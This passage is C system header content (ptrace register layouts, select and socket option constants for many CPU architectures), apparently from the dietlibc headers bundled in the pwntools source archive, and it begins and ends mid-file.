PTRACE_SETFPREGS 15 #define PTRACE_GETFPXREGS 18 #define PTRACE_SETFPXREGS 19 #define PTRACE_SETOPTIONS 21 /* options set using PTRACE_SETOPTIONS */ #define PTRACE_O_TRACESYSGOOD 0x00000001 #elif defined(__x86_64__) struct pt_regs { unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long rbp; unsigned long rbx; /* arguments: non interrupts/non tracing syscalls only save upto here*/ unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long rax; unsigned long rcx; unsigned long rdx; unsigned long rsi; unsigned long rdi; unsigned long orig_rax; /* end of arguments */ /* cpu exception frame or undefined */ unsigned long rip; unsigned long cs; unsigned long eflags; unsigned long rsp; unsigned long ss; /* top of stack page */ }; #elif defined(__s390__) #define PT_PSWMASK 0x00 #define PT_PSWADDR 0x04 #define PT_GPR0 0x08 #define PT_GPR1 0x0C #define PT_GPR2 0x10 #define PT_GPR3 0x14 #define PT_GPR4 0x18 #define PT_GPR5 0x1C #define PT_GPR6 0x20 #define PT_GPR7 0x24 #define PT_GPR8 0x28 #define PT_GPR9 0x2C #define PT_GPR10 0x30 #define PT_GPR11 0x34 #define PT_GPR12 0x38 #define PT_GPR13 0x3C #define PT_GPR14 0x40 #define PT_GPR15 0x44 #define PT_ACR0 0x48 #define PT_ACR1 0x4C #define PT_ACR2 0x50 #define PT_ACR3 0x54 #define PT_ACR4 0x58 #define PT_ACR5 0x5C #define PT_ACR6 0x60 #define PT_ACR7 0x64 #define PT_ACR8 0x68 #define PT_ACR9 0x6C #define PT_ACR10 0x70 #define PT_ACR11 0x74 #define PT_ACR12 0x78 #define PT_ACR13 0x7C #define PT_ACR14 0x80 #define PT_ACR15 0x84 #define PT_ORIGGPR2 0x88 #define PT_FPC 0x90 #define PT_FPR0_HI 0x98 #define PT_FPR0_LO 0x9C #define PT_FPR1_HI 0xA0 #define PT_FPR1_LO 0xA4 #define PT_FPR2_HI 0xA8 #define PT_FPR2_LO 0xAC #define PT_FPR3_HI 0xB0 #define PT_FPR3_LO 0xB4 #define PT_FPR4_HI 0xB8 #define PT_FPR4_LO 0xBC #define PT_FPR5_HI 0xC0 #define PT_FPR5_LO 0xC4 #define PT_FPR6_HI 0xC8 #define PT_FPR6_LO 0xCC #define PT_FPR7_HI 0xD0 #define PT_FPR7_LO 0xD4 #define PT_FPR8_HI 0xD8 #define PT_FPR8_LO 0XDC #define PT_FPR9_HI 0xE0 #define PT_FPR9_LO 0xE4 #define PT_FPR10_HI 0xE8 #define PT_FPR10_LO 0xEC #define PT_FPR11_HI 0xF0 #define PT_FPR11_LO 0xF4 #define PT_FPR12_HI 0xF8 #define PT_FPR12_LO 0xFC #define PT_FPR13_HI 0x100 #define PT_FPR13_LO 0x104 #define PT_FPR14_HI 0x108 #define PT_FPR14_LO 0x10C #define PT_FPR15_HI 0x110 #define PT_FPR15_LO 0x114 #define PT_CR_9 0x118 #define PT_CR_10 0x11C #define PT_CR_11 0x120 #define PT_IEEE_IP 0x13C #define PT_LASTOFF PT_IEEE_IP #define PT_ENDREGS 0x140-1 #define NUM_GPRS 16 #define NUM_FPRS 16 #define NUM_CRS 16 #define NUM_ACRS 16 #define GPR_SIZE 4 #define FPR_SIZE 8 #define FPC_SIZE 4 #define FPC_PAD_SIZE 4 /* gcc insists on aligning the fpregs */ #define CR_SIZE 4 #define ACR_SIZE 4 #define STACK_FRAME_OVERHEAD 96 /* size of minimum stack frame */ /* this typedef defines how a Program Status Word looks like */ typedef struct { uint32_t mask; uint32_t addr; } psw_t __attribute__ ((__aligned__(8))); typedef union { float f; double d; uint64_t ui; struct { uint32_t hi; uint32_t lo; } fp; } freg_t; typedef struct { uint32_t fpc; freg_t fprs[NUM_FPRS]; } s390_fp_regs; #define FPC_EXCEPTION_MASK 0xF8000000 #define FPC_FLAGS_MASK 0x00F80000 #define FPC_DXC_MASK 0x0000FF00 #define FPC_RM_MASK 0x00000003 #define FPC_VALID_MASK 0xF8F8FF03 typedef struct { psw_t psw; uint32_t gprs[NUM_GPRS]; uint32_t acrs[NUM_ACRS]; uint32_t orig_gpr2; } s390_regs; struct pt_regs { psw_t psw; uint32_t gprs[NUM_GPRS]; uint32_t acrs[NUM_ACRS]; uint32_t orig_gpr2; uint32_t trap; uint32_t old_ilc; }; typedef struct { uint32_t cr[3]; } per_cr_words __attribute__((__packed__)); #define PER_EM_MASK 0xE8000000 typedef uint32_t addr_t; typedef struct { uint32_t em_branching : 1; uint32_t em_instruction_fetch : 1; /* * Switching on storage alteration automatically fixes * the storage alteration event bit in the users std. */ uint32_t em_storage_alteration : 1; uint32_t em_gpr_alt_unused : 1; uint32_t em_store_real_address : 1; uint32_t : 3; uint32_t branch_addr_ctl : 1; uint32_t : 1; uint32_t storage_alt_space_ctl : 1; uint32_t : 21; addr_t starting_addr; addr_t ending_addr; } per_cr_bits __attribute__((__packed__)); typedef struct { uint16_t perc_atmid; /* 0x096 */ uint32_t address; /* 0x098 */ uint8_t access_id; /* 0x0a1 */ } per_lowcore_words __attribute__((__packed__)); typedef struct { uint32_t perc_branching : 1; /* 0x096 */ uint32_t perc_instruction_fetch : 1; uint32_t perc_storage_alteration : 1; uint32_t perc_gpr_alt_unused : 1; uint32_t perc_store_real_address : 1; uint32_t : 4; uint32_t atmid_validity_bit : 1; uint32_t atmid_psw_bit_32 : 1; uint32_t atmid_psw_bit_5 : 1; uint32_t atmid_psw_bit_16 : 1; uint32_t atmid_psw_bit_17 : 1; uint32_t si : 2; addr_t address; /* 0x098 */ uint32_t : 4; /* 0x0a1 */ uint32_t access_id : 4; } per_lowcore_bits __attribute__((__packed__)); typedef struct { union { per_cr_words words; per_cr_bits bits; } control_regs __attribute__((__packed__)); /* * Use these flags instead of setting em_instruction_fetch * directly they are used so that single stepping can be * switched on & off while not affecting other tracing */ uint32_t single_step : 1; uint32_t instruction_fetch : 1; uint32_t : 30; /* * These addresses are copied into cr10 & cr11 if single * stepping is switched off */ uint32_t starting_addr; uint32_t ending_addr; union { per_lowcore_words words; per_lowcore_bits bits; } lowcore; } per_struct __attribute__((__packed__)); typedef struct { uint32_t len; addr_t kernel_addr; addr_t process_addr; } ptrace_area; /* * S/390 specific non posix ptrace requests. I chose unusual values so * they are unlikely to clash with future ptrace definitions. */ #define PTRACE_PEEKUSR_AREA 0x5000 #define PTRACE_POKEUSR_AREA 0x5001 #define PTRACE_PEEKTEXT_AREA 0x5002 #define PTRACE_PEEKDATA_AREA 0x5003 #define PTRACE_POKETEXT_AREA 0x5004 #define PTRACE_POKEDATA_AREA 0x5005 /* * PT_PROT definition is loosely based on hppa bsd definition in * gdb/hppab-nat.c */ #define PTRACE_PROT 21 typedef enum { ptprot_set_access_watchpoint, ptprot_set_write_watchpoint, ptprot_disable_watchpoint } ptprot_flags; typedef struct { addr_t lowaddr; addr_t hiaddr; ptprot_flags prot; } ptprot_area; /* Sequence of bytes for breakpoint illegal instruction. */ #define S390_BREAKPOINT {0x0,0x1} #define S390_BREAKPOINT_U16 ((uint16_t)0x0001) #define S390_SYSCALL_OPCODE ((uint16_t)0x0a00) #define S390_SYSCALL_SIZE 2 /* * The user_regs_struct defines the way the user registers are * store on the stack for signal handling. */ struct user_regs_struct { psw_t psw; uint32_t gprs[NUM_GPRS]; uint32_t acrs[NUM_ACRS]; uint32_t orig_gpr2; s390_fp_regs fp_regs; /* * These per registers are in here so that gdb can modify them * itself as there is no "official" ptrace interface for hardware * watchpoints. This is the way intel does it. */ per_struct per_info; addr_t ieee_instruction_pointer; /* Used to give failing instruction back to user for ieee exceptions */ }; #elif defined(__arm__) /* this assumes armv */ #define USR26_MODE 0x00 #define FIQ26_MODE 0x01 #define IRQ26_MODE 0x02 #define SVC26_MODE 0x03 #define USR_MODE 0x10 #define FIQ_MODE 0x11 #define IRQ_MODE 0x12 #define SVC_MODE 0x13 #define ABT_MODE 0x17 #define UND_MODE 0x1b #define SYSTEM_MODE 0x1f #define MODE_MASK 0x1f #define T_BIT 0x20 #define F_BIT 0x40 #define I_BIT 0x80 #define CC_V_BIT (1 << 28) #define CC_C_BIT (1 << 29) #define CC_Z_BIT (1 << 30) #define CC_N_BIT (1 << 31) #define PCMASK 0 struct pt_regs { long uregs[18]; }; #define ARM_cpsr uregs[16] #define ARM_pc uregs[15] #define ARM_lr uregs[14] #define ARM_sp uregs[13] #define ARM_ip uregs[12] #define ARM_fp uregs[11] #define ARM_r10 uregs[10] #define ARM_r9 uregs[9] #define ARM_r8 uregs[8] #define ARM_r7 uregs[7] #define ARM_r6 uregs[6] #define ARM_r5 uregs[5] #define ARM_r4 uregs[4] #define ARM_r3 uregs[3] #define ARM_r2 uregs[2] #define ARM_r1 uregs[1] #define ARM_r0 uregs[0] #define ARM_ORIG_r0 uregs[17] #elif defined(__aarch64__) /* * PSR bits */ #define PSR_MODE_EL0t 0x00000000 #define PSR_MODE_EL1t 0x00000004 #define PSR_MODE_EL1h 0x00000005 #define PSR_MODE_EL2t 0x00000008 #define PSR_MODE_EL2h 0x00000009 #define PSR_MODE_EL3t 0x0000000c #define PSR_MODE_EL3h 0x0000000d #define PSR_MODE_MASK 0x0000000f /* AArch32 CPSR bits */ #define PSR_MODE32_BIT 0x00000010 /* AArch64 SPSR bits */ #define PSR_F_BIT 0x00000040 #define PSR_I_BIT 0x00000080 #define PSR_A_BIT 0x00000100 #define PSR_D_BIT 0x00000200 #define PSR_Q_BIT 0x08000000 #define PSR_V_BIT 0x10000000 #define PSR_C_BIT 0x20000000 #define PSR_Z_BIT 0x40000000 #define PSR_N_BIT 0x80000000 /* * Groups of PSR bits */ #define PSR_f 0xff000000 /* Flags */ #define PSR_s 0x00ff0000 /* Status */ #define PSR_x 0x0000ff00 /* Extension */ #define PSR_c 0x000000ff /* Control */ struct pt_regs { uint64_t regs[31]; uint64_t sp; uint64_t pc; uint64_t pstate; }; struct fpsimd_state { __uint128_t vregs[32]; uint32_t fpsr; uint32_t fpcr; }; struct hwdebug_state { uint32_t dbg_info; uint32_t pad; struct { uint64_t addr; uint32_t ctrl; uint32_t pad; } dbg_regs[16]; }; #elif defined(__alpha__) struct pt_regs { unsigned long r0; unsigned long r1; unsigned long r2; unsigned long r3; unsigned long r4; unsigned long r5; unsigned long r6; unsigned long r7; unsigned long r8; unsigned long r19; unsigned long r20; unsigned long r21; unsigned long r22; unsigned long r23; unsigned long r24; unsigned long r25; unsigned long r26; unsigned long r27; unsigned long r28; unsigned long hae; /* JRP - These are the values provided to a0-a2 by PALcode */ unsigned long trap_a0; unsigned long trap_a1; unsigned long trap_a2; /* These are saved by PAL-code: */ unsigned long ps; unsigned long pc; unsigned long gp; unsigned long r16; unsigned long r17; unsigned long r18; }; struct switch_stack { unsigned long r9; unsigned long r10; unsigned long r11; unsigned long r12; unsigned long r13; unsigned long r14; unsigned long r15; unsigned long r26; unsigned long fp[32]; /* fp[31] is fpcr */ }; #elif defined(__mips64__) /* 0 - 31 are integer registers, 32 - 63 are fp registers. */ #define FPR_BASE 32 #define PC 64 #define CAUSE 65 #define BADVADDR 66 #define MMHI 67 #define MMLO 68 #define FPC_CSR 69 #define FPC_EIR 70 #define DSP_BASE 71 /* 3 more hi / lo register pairs */ #define DSP_CONTROL 77 #define ACX 78 struct pt_regs { /* Saved main processor registers. */ unsigned long regs[32]; /* Saved special registers. */ unsigned long lo; unsigned long hi; unsigned long cp0_epc; unsigned long cp0_badvaddr; unsigned long cp0_status; unsigned long cp0_cause; } __attribute__ ((aligned (8))); #elif defined(__mips__) /* 0 - 31 are integer registers, 32 - 63 are fp registers. */ #define FPR_BASE 32 #define PC 64 #define CAUSE 65 #define BADVADDR 66 #define MMHI 67 #define MMLO 68 #define FPC_CSR 69 #define FPC_EIR 70 struct pt_regs { /* Pad bytes for argument save space on the stack. */ unsigned long pad0[6]; /* Saved main processor registers. */ unsigned long regs[32]; /* Other saved registers. */ unsigned long lo; unsigned long hi; /* saved cp0 registers */ unsigned long cp0_epc; unsigned long cp0_badvaddr; unsigned long cp0_status; unsigned long cp0_cause; }; #elif defined(__sparc__) struct pt_regs { unsigned long psr; unsigned long pc; unsigned long npc; unsigned long y; unsigned long u_regs[16]; /* globals and ins */ }; #define UREG_G0 0 #define UREG_G1 1 #define UREG_G2 2 #define UREG_G3 3 #define UREG_G4 4 #define UREG_G5 5 #define UREG_G6 6 #define UREG_G7 7 #define UREG_I0 8 #define UREG_I1 9 #define UREG_I2 10 #define UREG_I3 11 #define UREG_I4 12 #define UREG_I5 13 #define UREG_I6 14 #define UREG_I7 15 #define UREG_WIM UREG_G0 #define UREG_FADDR UREG_G0 #define UREG_FP UREG_I6 #define UREG_RETPC UREG_I7 /* A register window */ struct reg_window { unsigned long locals[8]; unsigned long ins[8]; }; /* A Sparc stack frame */ struct sparc_stackf { unsigned long locals[8]; unsigned long ins[6]; struct sparc_stackf *fp; unsigned long callers_pc; char *structptr; unsigned long xargs[6]; unsigned long xxargs[1]; }; #define TRACEREG_SZ sizeof(struct pt_regs) #define STACKFRAME_SZ sizeof(struct sparc_stackf) #define REGWIN_SZ sizeof(struct reg_window) /* These are for pt_regs. */ #define PT_PSR 0x0 #define PT_PC 0x4 #define PT_NPC 0x8 #define PT_Y 0xc #define PT_G0 0x10 #define PT_WIM PT_G0 #define PT_G1 0x14 #define PT_G2 0x18 #define PT_G3 0x1c #define PT_G4 0x20 #define PT_G5 0x24 #define PT_G6 0x28 #define PT_G7 0x2c #define PT_I0 0x30 #define PT_I1 0x34 #define PT_I2 0x38 #define PT_I3 0x3c #define PT_I4 0x40 #define PT_I5 0x44 #define PT_I6 0x48 #define PT_FP PT_I6 #define PT_I7 0x4c /* Reg_window offsets */ #define RW_L0 0x00 #define RW_L1 0x04 #define RW_L2 0x08 #define RW_L3 0x0c #define RW_L4 0x10 #define RW_L5 0x14 #define RW_L6 0x18 #define RW_L7 0x1c #define RW_I0 0x20 #define RW_I1 0x24 #define RW_I2 0x28 #define RW_I3 0x2c #define RW_I4 0x30 #define RW_I5 0x34 #define RW_I6 0x38 #define RW_I7 0x3c /* Stack_frame offsets */ #define SF_L0 0x00 #define SF_L1 0x04 #define SF_L2 0x08 #define SF_L3 0x0c #define SF_L4 0x10 #define SF_L5 0x14 #define SF_L6 0x18 #define SF_L7 0x1c #define SF_I0 0x20 #define SF_I1 0x24 #define SF_I2 0x28 #define SF_I3 0x2c #define SF_I4 0x30 #define SF_I5 0x34 #define SF_FP 0x38 #define SF_PC 0x3c #define SF_RETP 0x40 #define SF_XARG0 0x44 #define SF_XARG1 0x48 #define SF_XARG2 0x4c #define SF_XARG3 0x50 #define SF_XARG4 0x54 #define SF_XARG5 0x58 #define SF_XXARG 0x5c /* Stuff for the ptrace system call */ #define PTRACE_SUNATTACH 10 #define PTRACE_SUNDETACH 11 #define PTRACE_GETREGS 12 #define PTRACE_SETREGS 13 #define PTRACE_GETFPREGS 14 #define PTRACE_SETFPREGS 15 #define PTRACE_READDATA 16 #define PTRACE_WRITEDATA 17 #define PTRACE_READTEXT 18 #define PTRACE_WRITETEXT 19 #define PTRACE_GETFPAREGS 20 #define PTRACE_SETFPAREGS 21 #define PTRACE_GETUCODE 29 /* stupid bsd-ism */ #elif defined(__powerpc__) || defined (__powerpc64__) #include #elif defined(__hppa__) #include struct pt_regs { unsigned long gr[32]; /* PSW is in gr[0] */ uint64_t fr[32]; unsigned long sr[ 8]; unsigned long iasq[2]; unsigned long iaoq[2]; unsigned long cr27; unsigned long pad0; /* available for other uses */ unsigned long orig_r28; unsigned long ksp; unsigned long kpc; unsigned long sar; /* CR11 */ unsigned long iir; /* CR19 */ unsigned long isr; /* CR20 */ unsigned long ior; /* CR21 */ unsigned long ipsw; /* CR22 */ }; #define PTRACE_SINGLEBLOCK 12 /* resume execution until next branch */ #define PTRACE_GETSIGINFO 13 /* get child's siginfo structure */ #define PTRACE_SETSIGINFO 14 /* set child's siginfo structure */ #elif defined(__ia64__) struct ia64_fpreg { union { unsigned long bits[2]; } u; } __attribute__ ((__aligned__ (16))); struct pt_regs { unsigned long cr_ipsr; /* interrupted task's psr */ unsigned long cr_iip; /* interrupted task's instruction pointer */ unsigned long cr_ifs; /* interrupted task's function state */ unsigned long ar_unat; /* interrupted task's NaT register (preserved) */ unsigned long ar_pfs; /* prev function state */ unsigned long ar_rsc; /* RSE configuration */ unsigned long ar_rnat; /* RSE NaT */ unsigned long ar_bspstore; /* RSE bspstore */ unsigned long pr; /* 64 predicate registers (1 bit each) */ unsigned long b6; /* scratch */ unsigned long loadrs; /* size of dirty partition << 16 */ unsigned long r1; /* the gp pointer */ unsigned long r2; /* scratch */ unsigned long r3; /* scratch */ unsigned long r12; /* interrupted task's memory stack pointer */ unsigned long r13; /* thread pointer */ unsigned long r14; /* scratch */ unsigned long r15; /* scratch */ unsigned long r8; /* scratch (return value register 0) */ unsigned long r9; /* scratch (return value register 1) */ unsigned long r10; /* scratch (return value register 2) */ unsigned long r11; /* scratch (return value register 3) */ unsigned long r16; /* scratch */ unsigned long r17; /* scratch */ unsigned long r18; /* scratch */ unsigned long r19; /* scratch */ unsigned long r20; /* scratch */ unsigned long r21; /* scratch */ unsigned long r22; /* scratch */ unsigned long r23; /* scratch */ unsigned long r24; /* scratch */ unsigned long r25; /* scratch */ unsigned long r26; /* scratch */ unsigned long r27; /* scratch */ unsigned long r28; /* scratch */ unsigned long r29; /* scratch */ unsigned long r30; /* scratch */ unsigned long r31; /* scratch */ unsigned long ar_ccv; /* compare/exchange value (scratch) */ unsigned long ar_fpsr; /* floating point status (preserved) */ unsigned long b0; /* return pointer (bp) */ unsigned long b7; /* scratch */ struct ia64_fpreg f6; /* scratch */ struct ia64_fpreg f7; /* scratch */ struct ia64_fpreg f8; /* scratch */ struct ia64_fpreg f9; /* scratch */ }; struct switch_stack { unsigned long caller_unat; /* user NaT collection register (preserved) */ unsigned long ar_fpsr; /* floating-point status register */ struct ia64_fpreg f2; /* preserved */ struct ia64_fpreg f3; /* preserved */ struct ia64_fpreg f4; /* preserved */ struct ia64_fpreg f5; /* preserved */ struct ia64_fpreg f10; /* scratch, but untouched by kernel */ struct ia64_fpreg f11; /* scratch, but untouched by kernel */ struct ia64_fpreg f12; /* scratch, but untouched by kernel */ struct ia64_fpreg f13; /* scratch, but untouched by kernel */ struct ia64_fpreg f14; /* scratch, but untouched by kernel */ struct ia64_fpreg f15; /* scratch, but untouched by kernel */ struct ia64_fpreg f16; /* preserved */ struct ia64_fpreg f17; /* preserved */ struct ia64_fpreg f18; /* preserved */ struct ia64_fpreg f19; /* preserved */ struct ia64_fpreg f20; /* preserved */ struct ia64_fpreg f21; /* preserved */ struct ia64_fpreg f22; /* preserved */ struct ia64_fpreg f23; /* preserved */ struct ia64_fpreg f24; /* preserved */ struct ia64_fpreg f25; /* preserved */ struct ia64_fpreg f26; /* preserved */ struct ia64_fpreg f27; /* preserved */ struct ia64_fpreg f28; /* preserved */ struct ia64_fpreg f29; /* preserved */ struct ia64_fpreg f30; /* preserved */ struct ia64_fpreg f31; /* preserved */ unsigned long r4; /* preserved */ unsigned long r5; /* preserved */ unsigned long r6; /* preserved */ unsigned long r7; /* preserved */ unsigned long b0; /* so we can force a direct return in copy_thread */ unsigned long b1; unsigned long b2; unsigned long b3; unsigned long b4; unsigned long b5; unsigned long ar_pfs; /* previous function state */ unsigned long ar_lc; /* loop counter (preserved) */ unsigned long ar_unat; /* NaT bits for r4-r7 */ unsigned long ar_rnat; /* RSE NaT collection register */ unsigned long ar_bspstore; /* RSE dirty base (preserved) */ unsigned long pr; /* 64 predicate registers (1 bit each) */ }; #endif extern long int ptrace(int request, ...) __THROW; __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sys/select.h000066400000000000000000000017001507273764500305320ustar00rootroot00000000000000#ifndef _SYS_SELECT_H #define _SYS_SELECT_H #include #include __BEGIN_DECLS typedef long int fd_mask; #define NFDBITS (8 * sizeof(unsigned long)) #define FD_SETSIZE 1024 #define __FDSET_LONGS (FD_SETSIZE/NFDBITS) #define __FDELT(d) ((d) / NFDBITS) #define __FDMASK(d) (1UL << ((d) % NFDBITS)) typedef struct { unsigned long fds_bits [__FDSET_LONGS]; } fd_set; #define FD_SET(d, set) ((set)->fds_bits[__FDELT(d)] |= __FDMASK(d)) #define FD_CLR(d, set) ((set)->fds_bits[__FDELT(d)] &= ~__FDMASK(d)) #define FD_ISSET(d, set) (((set)->fds_bits[__FDELT(d)] & __FDMASK(d)) != 0) #define FD_ZERO(set) \ ((void) memset ((void*) (set), 0, sizeof (fd_set))) int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout) __THROW; int pselect(int n, fd_set* readfds, fd_set* writefds, fd_set* exceptfds, const struct timespec *timeout, const sigset_t *sigmask) __THROW; __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sys/socket.h000066400000000000000000000605461507273764500305600ustar00rootroot00000000000000#ifndef _SYS_SOCKET_H #define _SYS_SOCKET_H #include #include #include #include __BEGIN_DECLS /* For setsockopt(2) */ #if defined(__alpha__) || defined(__mips__) #define SOL_SOCKET 0xffff #define SO_DEBUG 0x0001 #define SO_REUSEADDR 0x0004 #define SO_KEEPALIVE 0x0008 #define SO_DONTROUTE 0x0010 #define SO_BROADCAST 0x0020 #define SO_LINGER 0x0080 #define SO_OOBINLINE 0x0100 #define SO_REUSEPORT 0x0200 #define SO_TYPE 0x1008 #define SO_ERROR 0x1007 #define SO_SNDBUF 0x1001 #define SO_RCVBUF 0x1002 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_BSDCOMPAT 14 #define SO_PASSCRED 17 #define SO_PEERCRED 18 /* Security levels - as per NRL IPv6 - don't actually do anything */ #ifdef __mips64__ #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #else #define SO_SECURITY_AUTHENTICATION 19 #define SO_SECURITY_ENCRYPTION_TRANSPORT 20 #define SO_SECURITY_ENCRYPTION_NETWORK 21 #endif #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER SO_ATTACH_FILTER #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP SO_TIMESTAMP #define SO_PEERSEC 30 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS SO_TIMESTAMPNS #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING SO_TIMESTAMPING #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS SO_WIFI_STATUS #define SO_PEEK_OFF 42 /* Instruct lower device to use last 4-bytes of skb data as FCS */ #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF SO_DETACH_FILTER #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #ifdef __alpha__ #define SO_SNDBUFFORCE 0x100a #define SO_RCVBUFFORCE 0x100b #define SO_RCVLOWAT 0x1010 #define SO_SNDLOWAT 0x1011 #define SO_RCVTIMEO 0x1012 #define SO_SNDTIMEO 0x1013 #define SO_ACCEPTCONN 0x1014 #else /* mips */ #define SO_SNDBUFFORCE 31 #define SO_RCVBUFFORCE 33 #define SO_RCVLOWAT 0x1004 #define SO_SNDLOWAT 0x1003 #define SO_RCVTIMEO 0x1006 #define SO_SNDTIMEO 0x1005 #define SO_ACCEPTCONN 0x1009 #endif #define SO_PROTOCOL 0x1028 #define SO_DOMAIN 0x1029 #define SO_STYLE SO_TYPE /* Synonym */ #elif defined(__hppa__) #define SOL_SOCKET 0xffff #define SO_DEBUG 0x0001 #define SO_REUSEADDR 0x0004 #define SO_KEEPALIVE 0x0008 #define SO_DONTROUTE 0x0010 #define SO_BROADCAST 0x0020 #define SO_LINGER 0x0080 #define SO_OOBINLINE 0x0100 #define SO_REUSEPORT 0x0200 #define SO_SNDBUF 0x1001 #define SO_RCVBUF 0x1002 #define SO_SNDLOWAT 0x1003 #define SO_RCVLOWAT 0x1004 #define SO_SNDTIMEO 0x1005 #define SO_RCVTIMEO 0x1006 #define SO_ERROR 0x1007 #define SO_TYPE 0x1008 #define SO_SNDBUFFORCE 0x100a #define SO_RCVBUFFORCE 0x100b #define SO_PEERNAME 0x2000 #define SO_NO_CHECK 0x400b #define SO_PRIORITY 0x400c #define SO_BSDCOMPAT 0x400e #define SO_PASSCRED 0x4010 #define SO_PEERCRED 0x4011 #define SO_TIMESTAMP 0x4012 #define SCM_TIMESTAMP SO_TIMESTAMP #define SO_TIMESTAMPNS 0x4013 #define SCM_TIMESTAMPNS SO_TIMESTAMPNS /* Security levels - as per NRL IPv6 - don't actually do anything */ #define SO_SECURITY_AUTHENTICATION 0x4016 #define SO_SECURITY_ENCRYPTION_TRANSPORT 0x4017 #define SO_SECURITY_ENCRYPTION_NETWORK 0x4018 #define SO_BINDTODEVICE 0x4019 /* Socket filtering */ #define SO_ATTACH_FILTER 0x401a #define SO_DETACH_FILTER 0x401b #define SO_GET_FILTER SO_ATTACH_FILTER #define SO_ACCEPTCONN 0x401c #define SO_PEERSEC 0x401d #define SO_PASSSEC 0x401e #define SO_MARK 0x401f #define SO_TIMESTAMPING 0x4020 #define SCM_TIMESTAMPING SO_TIMESTAMPING #define SO_RXQ_OVFL 0x4021 #define SO_WIFI_STATUS 0x4022 #define SCM_WIFI_STATUS SO_WIFI_STATUS #define SO_PEEK_OFF 0x4023 /* Instruct lower device to use last 4-bytes of skb data as FCS */ #define SO_NOFCS 0x4024 #define SO_LOCK_FILTER 0x4025 #define SO_SELECT_ERR_QUEUE 0x4026 #define SO_BUSY_POLL 0x4027 #define SO_MAX_PACING_RATE 0x4028 #define SO_BPF_EXTENSIONS 0x4029 #define SO_INCOMING_CPU 0x402A #define SO_ATTACH_BPF 0x402B #define SO_DETACH_BPF SO_DETACH_FILTER #define SO_ATTACH_REUSEPORT_CBPF 0x402C #define SO_ATTACH_REUSEPORT_EBPF 0x402D #define SO_CNX_ADVICE 0x402E #define SCM_TIMESTAMPING_OPT_STATS 0x402F #define SO_MEMINFO 0x4030 #define SO_INCOMING_NAPI_ID 0x4031 #define SO_COOKIE 0x4032 #define SCM_TIMESTAMPING_PKTINFO 0x4033 #define SO_PEERGROUPS 0x4034 #define SO_ZEROCOPY 0x4035 #elif defined(__sparc__) #define SOL_SOCKET 0xffff #define SO_DEBUG 0x0001 #define SO_PASSCRED 0x0002 #define SO_REUSEADDR 0x0004 #define SO_KEEPALIVE 0x0008 #define SO_DONTROUTE 0x0010 #define SO_BROADCAST 0x0020 #define SO_PEERCRED 0x0040 #define SO_LINGER 0x0080 #define SO_OOBINLINE 0x0100 #define SO_REUSEPORT 0x0200 #define SO_BSDCOMPAT 0x0400 #define SO_RCVLOWAT 0x0800 #define SO_SNDLOWAT 0x1000 #define SO_RCVTIMEO 0x2000 #define SO_SNDTIMEO 0x4000 #define SO_ACCEPTCONN 0x8000 #define SO_DONTLINGER (~SO_LINGER) /* Older SunOS compat. hack */ #define SO_SNDBUF 0x1001 #define SO_RCVBUF 0x1002 #define SO_SNDBUFFORCE 0x100a #define SO_RCVBUFFORCE 0x100b #define SO_ERROR 0x1007 #define SO_TYPE 0x1008 #define SO_ATTACH_FILTER 0x001a #define SO_DETACH_FILTER 0x001b #define SO_GET_FILTER SO_ATTACH_FILTER #define SO_PEERNAME 0x001c #define SO_TIMESTAMP 0x001d #define SCM_TIMESTAMP SO_TIMESTAMP #define SO_PEERSEC 0x001e #define SO_PASSSEC 0x001f #define SO_TIMESTAMPNS 0x0021 #define SCM_TIMESTAMPNS SO_TIMESTAMPNS #define SO_MARK 0x0022 #define SO_TIMESTAMPING 0x0023 #define SCM_TIMESTAMPING SO_TIMESTAMPING #define SO_RXQ_OVFL 0x0024 #define SO_WIFI_STATUS 0x0025 #define SCM_WIFI_STATUS SO_WIFI_STATUS #define SO_PEEK_OFF 0x0026 /* Instruct lower device to use last 4-bytes of skb data as FCS */ #define SO_NOFCS 0x0027 #define SO_LOCK_FILTER 0x0028 #define SO_SELECT_ERR_QUEUE 0x0029 #define SO_BUSY_POLL 0x0030 #define SO_MAX_PACING_RATE 0x0031 #define SO_BPF_EXTENSIONS 0x0032 #define SO_INCOMING_CPU 0x0033 #define SO_ATTACH_BPF 0x0034 #define SO_DETACH_BPF SO_DETACH_FILTER #define SO_ATTACH_REUSEPORT_CBPF 0x0035 #define SO_ATTACH_REUSEPORT_EBPF 0x0036 #define SO_CNX_ADVICE 0x0037 #define SCM_TIMESTAMPING_OPT_STATS 0x0038 #define SO_MEMINFO 0x0039 #define SO_INCOMING_NAPI_ID 0x003a #define SO_COOKIE 0x003b #define SCM_TIMESTAMPING_PKTINFO 0x003c #define SO_PEERGROUPS 0x003d #define SO_ZEROCOPY 0x003e /* Security levels - as per NRL IPv6 - don't actually do anything */ #define SO_SECURITY_AUTHENTICATION 0x5001 #define SO_SECURITY_ENCRYPTION_TRANSPORT 0x5002 #define 